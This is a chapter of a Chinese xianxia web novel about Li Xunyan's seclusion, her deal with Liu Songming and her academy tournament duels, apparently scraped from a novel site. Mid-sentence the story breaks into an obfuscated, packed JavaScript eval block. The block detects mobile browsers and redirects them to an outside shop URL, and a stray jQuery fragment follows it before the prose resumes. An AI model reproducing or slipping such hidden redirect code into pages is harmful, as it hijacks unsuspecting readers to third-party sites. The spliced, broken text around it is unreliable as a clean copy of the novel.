李浔砚和林汐之前商量着等她闭关时,《渡渊》就公测,后续由林汐和术玥先打理。
她刚打坐没一会,识海就像是要炸掉一般。
李浔砚六百年前便是修的苍生道,明明当时十六岁就结了丹。如今境界却半天没有松动,难道是睡了六百年,识海又拓宽了?
她都不知道自己的识海究竟有多广,竟然真的承受住了这么多蓝星人的意识。
或许也正是因为识海过于宽广,李浔砚要想再次结丹,比常人要难上许多。这也是她选择继续修苍生道的原因之一,苍生道以众生信仰为阶,对灵力的要求自然也低不少。
李浔砚这次闭关到学院大比前两天才结束,可即便如此,她依旧没有任何将要结丹的迹象。
如李浔砚所料,赵元杉私下把她喊了过去。
“浔砚啊,修行一途最考验心性,你切不可心浮气躁。老夫觉得你这个修为就刚好,慢慢来。”
“这是老夫好友相赠的一枚剑髓。虽然我是个符师,但也看得出你在剑道一途上也有不小的天赋。”
“浔砚应该是剑符双修吧。不是也不打紧,剑髓可滋养本命灵剑,温养武器总不算坏事。”
赵元杉絮絮叨叨说了不少,李浔砚看得出他的一番好意,若换作其他的夫子,见自己看好的弟子却迟迟没有精进修为,估计只有劈头盖脸的一顿臭骂了。
“多谢夫子。”
“就算没结丹,咱们大比照样打得对面屁滚尿流!”赵元杉拍拍她的肩膀,爽朗地大笑了几声。
学院大比总共分三场,先由各班学子决出前十,再从自己所在学院争出前百。每个学院胜出的百人再一同进入莲溪岛的莲溪秘境中,按照秘境中所得积分排名。
积分获取形式多种多样,摧毁其他学子腰间的令牌加五十点积分,令牌中每多一样灵植或妖兽丹也可以增加积分,最低为一品加十积分,每升一品加十积分。
李浔砚与赵元杉告辞后,就去找了柳松明,他正在后街的酒楼里听曲。
“李道友,这里!”
“柳道友。”
“我听我祖父说,你在安灵司算是主事呢,真是深藏不露。”
李浔砚笑了笑,没回应此事,说谎的事她做不来,毕竟自己是安灵司的首席。
“柳道友,你之前赠我的那枚石头破了。”
“我们去楼上说。”柳松明做了个噤声的手势,带她上了天字包间。
“给我看看长啥样呗。”
李浔砚把玄鸦从木匣中拽了出来。
“啊——”
“是只乌鸦。”
“乌鸦很不错了,这纯粹是一场盲猜。我孵了五个符灵,全是……你猜猜是什么?”
“乌龟?”
“你怎么猜到的!”
“我看你嘴巴撅起来了。”
“咳咳。”
“这些符灵你是哪里找到的?”
“找石头的时候碰巧发现的。”
“能教我怎么快速识别吗?”
“我有个条件。”
“你先说。”
“我想升到中等执事。”
“流程你都清楚吗?”
“我当然清楚,祖父同我说灭百只符祟后即可升中等执事,但是至少要有主事作为领路人才能进阶。”
安灵司的职位从低到高分巡领,上中下执事,主事,副手和首席。
“当然,你的令牌拿来。”
“好爽快!”柳松明把令牌递了过去,继续说道:“这法子还是我自创的术法呢。”
接着,他手指一屈,一道金光从指尖弹出,没入李浔砚的眉间。
不得不说,柳松明是有几把刷子的,这术法确实玄奥。
“这样,我给你升到上等执事,我要安灵司人手一只符灵。”
“安灵司人也不少吧,这符灵又不真是石头,到处都有。”
“主事怎么样?”
“李道友你不会是安灵司首席吧。”柳松明开玩笑说道。
“柳道友真是抬举我了。”
“行,说好了是主事,一言为定。”
“嗯。柳道友我有个疑问,安灵司不过一个名不见经传的小组织,你为什么想留下来呢?”
“你问这个是上级对我的考验吗?”
“怎么会?”
“不管是不是开玩笑,我都只有这一个回答。安灵司肯定会成为九州最大的组织,早进早享受咯。”
李浔砚不置可否,总有一天符祟会全面入侵九州的。
—
学院大比的第一场在学院的竹玄山举办。
李浔砚同赵灵一块上山,中途就被楼景辞拦下了。
“李浔砚,我已结丹,我的法力精进不少,今日我们再一决高下。”
“嗯,很期待。”李浔砚微微颔首便绕道走开了。
“师傅!”宋景珩一路小跑过来,气喘吁吁。
“景珩。”
“听说你闭关了,夫子还免修了你所有课程,真是羡慕。”
“你也可以同夫子申请一下。”
赵灵听到这话,连忙摆手:“别听阿砚胡说,当时我真跑去我爹那求情了。我爹罚我写了一沓符箓。”
“怪不得那天看见你眼底还有乌青。”
李浔砚轻笑,问:“景珩,你最近学业如何?”
“赵夫子知道我算他徒孙之后,就格外关照我。你敢想?我一个符修,之前回宿舍比季子期一个剑修还晚!”
宋景珩自顾自地摇摇头,痛心疾首地抓着李浔砚的衣摆:“不过师傅你是不知道,这几天季子期同学院申请了两门主修,他现在算我们真正的同窗。”
赵灵不由得惊呼一声,感慨道:“原来如此,我还纳闷他怎么经常和你待在一块。”
“嗯嗯,他每天早出晚归的,现在还拉着我和他一块去后山练剑。”
李浔砚没说话,如今这种程度的训练对于季子期来说,甚至算得上清闲,他在族内才是真的忙得脚不沾地。
三人寒暄一阵后学院大比就开始了。
“上等一班第一场,季子期对薛平。”
“季子期对薛平,半盏茶内未到场,自动弃权。”
李浔砚看向宋景珩:“季子期呢?”
“我不知道啊,我给他发的灵讯也没回我。”
眼看时间就要到,台上突然出现一簇火苗,一道符箓自空中燃起,星火向上而飘,火光炸开的一瞬,季子期稳稳立在正中。
“在下季子期。”他拱手作揖。
“那便开始吧。”长老指尖一弹,火星将
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741097|207408||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一旁的香烛点燃,袅袅青烟升起。
“嘁,装神弄鬼。”薛平十指交扣,关节处弄得“咔咔”直响。
薛平抡起大锤,地面的碎石被连带着的劲风卷得乱滚,他怒喝一声,朝季子期砸去。
季子期游走周旋,巧妙避开攻势。
“就这点能耐吗?只敢躲躲藏藏。”薛平再度提锤砸向地面,土浪顺着地面层层翻涌。
季子期踏空一跃,稳稳踩在了剑上,同时双手快速结印,一条水龙腾空而起。
“百川归刃,龙吟。”
水汽凝成的巨龙长尾一卷,掀起半丈高的水浪。
薛平召出土墙挡在身前,水龙与土墙相撞,竟然有些不分上下。
“嘁,华而不实的东西。”薛平脚下一跺,数十根土锥拔地而起,朝季子期扎去。
“水涤破空。”季子期身形一闪,顺着土锥的方向奔走,右手拿起破空剑朝前一挥,一道半月形的剑气呼啸而过,所及之处,飞沙走石。
季子期脚步轻盈,一息之间就到了薛平身后,剑尖直指他的喉咙。
“承让。”
“季子期对薛平,季子期胜。”
薛平啐了一口,用只有两人听得见的声音骂道:“装货。”
季子期不恼,反朝他笑了笑:“这都被你发现了。”
他就是故意来迟的,这样才有看头,不是吗?
他把破空收回了剑鞘,走到了李浔砚旁边,说道:“好险,差点没赶上。”
“我给你发了好几条灵讯。”宋景珩有些恨铁不成钢。
“抱歉,修炼的时候出了点岔子,只好强行稳下内息,这才耗费不少功夫。”
“赶上了就好。”李浔砚说道。
赵灵上下打量他好几眼,耸耸肩没说破,大家都看得出来的事情,戳穿就没意思了。
“我哥说如果我们真去了莲溪岛,他去给我们捧场。”
“这么算算是有很久没见到景鸿了。”季子期说道。
“他也算个大忙人,我给他发灵讯,他都不常回我。”
李浔砚应和地点点头,看来安灵司最近挺忙呢,据林汐所说,她们打算把游戏和安灵司融合到一块,玩家多借符祟练练手,帮安灵司减少点压力,玩家回蓝星也好处理自家事。
台上的打斗还在继续,很快就到了第五场。
“上等一班第五场,李浔砚对楼景辞。”
“这么巧,楼景辞用了什么阴招吧,阿砚,你把他往死里打,让他以后再也不敢不自量力地凑上来。”赵灵指着台上的楼景辞气狠狠地说道。
青烟上飞,两人的比拼一触即发。
李浔砚长袍一抖,数十道符箓凌空飞出,她指尖灵力轻点,符纸化作一道道风刃,层层叠叠包围住楼景辞。
楼景辞反手摸出三张火符,想着借风将火星吹到李浔砚身上。
李浔砚足下轻灵,轻声一句:“风来。”
九州的风像是都要朝这涌来,狂风呼啸之间竟裹挟着一阵花香。
每一缕风丝之后都留下重重叠叠的青色虚影。
风沙席卷全场,众人的视线被漫天的飞尘遮蔽。
而等风尘退去,只剩李浔砚站在台上,剑刃紧逼着楼景辞的脖颈。
“李浔砚对楼景辞,李浔砚胜!”